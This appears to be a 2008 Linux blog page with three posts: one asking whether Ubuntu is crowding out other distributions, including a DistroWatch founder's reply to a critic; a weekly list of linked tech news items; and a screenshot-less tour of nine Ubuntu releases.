After I have read iTWire's recent article entitled "Is Ubuntu killing other distributions?" I remembered asking myself the same question when I noticed how Ubuntu is taking over the Linux world. --Plenty of Linux related tech sites, blogs, and social networking websites are all talking about Ubuntu, but very few are giving enough attention to other Linux distributions. If you need further proof on how Ubuntu is quickly pulling away from other distros, let me give you a little illustration with the help of the very handy Google Trends:

While I agree to some extent that Ubuntu's mainstream success is good for GNU/Linux and the free and open source software in general, I'm still wondering what is going to happen in the long the run if the trend will continue in favor of Ubuntu. In effect, what if the people behind other popular Linux distributions like Fedora, Mandriva, OpenSUSE, and Mint among others will someday lose courage to go on and will just let their distros die down? Will this still be healthy for Linux? To my dear readers, I want to hear your views.

PS. To iTWire's Sam Varghese who unfairly criticizes Ladislav Bodnar and "the many people in the FOSS community" when he wrote,

The Distrowatch website ranks the popularity of distributions by using a wrong metric, the number of visits to each distribution's site. It does not measure downloads - but try telling the man who runs the site that he is wrong. Like many people in the FOSS community, he is always right.

-How about some respect for Distrowatch. Like probably most of you, part of my Linux experience is visiting Distrowatch.com. Also, new-to-Linux users always find that site very valuable. And though I agree that the ranking system of Distrowatch does not perfectly measure a distro's popularity, I still refer to its top 100 list when I wanted to try other capable distributions.

*Update: Ladislav answered Sam's comment...

The DistroWatch comment was nasty. Throughout the site's history, I've always tried to downplay the importance of page hit ranking (PHR) as nothing more than a fun way to measure what's hot in the distro world, at least among those who visit DistroWatch - that's what you'd have found on the page explaining the PHR system if you'd bothered to look.

Also, when exactly did you try to tell me that I was wrong about the PHR system? The only email I've ever received from you was about a small error I made in an edition of DistroWatch Weekly, which I corrected straight away.

Ladislav Bodnar
DistroWatch.com

Weekly Ten (11-03-2008)

10 Latest News, Blogs, Tips, and Reviews that I find Interesting and Useful:

1. Discovered: A New Kind of Pulsar
About three times a second, a 10,000-year-old stellar corpse sweeps a beam of gamma-rays toward Earth. Just discovered by NASA's Fermi Gamma-ray Space Telescope, the object, called a pulsar, is the first one known that "blinks" in pure gamma rays.
More @ Nasa.gov

2. Do you really need to install Intrepid Ibex (Ubuntu Linux 8.10)? Well, it's pretty clear - even with a fairly superficial glance by prodding at the bundled software and kernel - that Intrepid Ibex includes some new items and importantly also contains version upgrades that Hardy Heron can not - at least at this time - aspire to.
More @ ITWire.com

3. Apple's unibody MacBook: the review
Standing as the single largest change to an Apple portable in recent history, the 13" MacBook completely overhauls the system with a switch from plastic to a strong, thinner aluminum shell and a totally new platform that puts it into a new performance category -- albeit with key sacrifices to meet its goals.
More @ AppleInsider

4. Hexbug brain transplant

More @ HackaDay

5. 50 websites you'll wonder how you lived without
When it comes to the Internet, we're creatures of habit – Google for search, Hotmail for email, Twitter to stay in touch and maybe the BBC's for news.
More @ TechRadar

6. Shuttleworth in No Hurry to Make a Profit
Canonical isn't making a profit, but founder Mark Shuttleworth isn't too worried about it. He's still got lots of money left from when he sold his security company, Thawte, to VeriSign. To Shuttleworth, Ubuntu is a "good investment," but might never make huge profits.
More @ LinuxInsider

7. Social Networks Go to Work
Use of social networking sites such as Facebook, LinkedIn and YouTube is widespread in business today, along with instant messaging, peer-to-peer file-sharing and media streaming, according to new research.
More @ PCWorld.com

8. Prototype artificial heart unveiled, expected to cost $192k

More @ Engadget

9. Windows 7: Microsoft's Linux killer?
Linux has been making inroads into PC sales lately because it runs so well on lightweight netbooks with limited RAM and processing power. Windows 7, though, appears to run well on lightweight hardware as well, which could mean that it's Microsoft's Linux killer.
More @ ComputerWorld Blog

10. Portrait: Metasploit godfather H.D. Moore
The Metasploit Project develops a set of security tools to create and execute exploit code on remote computers. Some people say Metasploit makes the job easier for black hat hackers who attack networks looking for vulnerabilities to take advantage of; others says the tool helps network security administrators do a better job of finding and repairing weaknesses before the bad guys get to them. H.D. Moore, the 20-something creator of the Metasploit Project, says it all depends on your perspective.
More @ Linux.com

A Visual Desktop Tour of 9 Ubuntu Releases

Ubuntu, undoubtedly today's most popular Linux distribution has been around for 4 years. Its first official version was released in October of 2004. In the span of four years, Ubuntu has already unleashed 9 stable versions including the recently released Ubuntu 8.10 "Intrepid Ibex". Let's take a visual desktop tour of Ubuntu starting from its inaugural version:

1. Ubuntu 4.10 "Warty Warthog"


2. Ubuntu 5.04 "Hoary Hedgehog"


3. Ubuntu 5.10 "Breezy Badger"


4. Ubuntu 6.06 "Dapper Drake"


5. Ubuntu 6.10 "Edgy Eft"


6. Ubuntu 7.04 "Feisty Fawn"


7. Ubuntu 7.10 "Gutsy Gibbon"


8. Ubuntu 8.04 "Hardy Heron"


9. Ubuntu 8.10 "Intrepid Ibex"


To end this post, I would like to leave you with this poll question: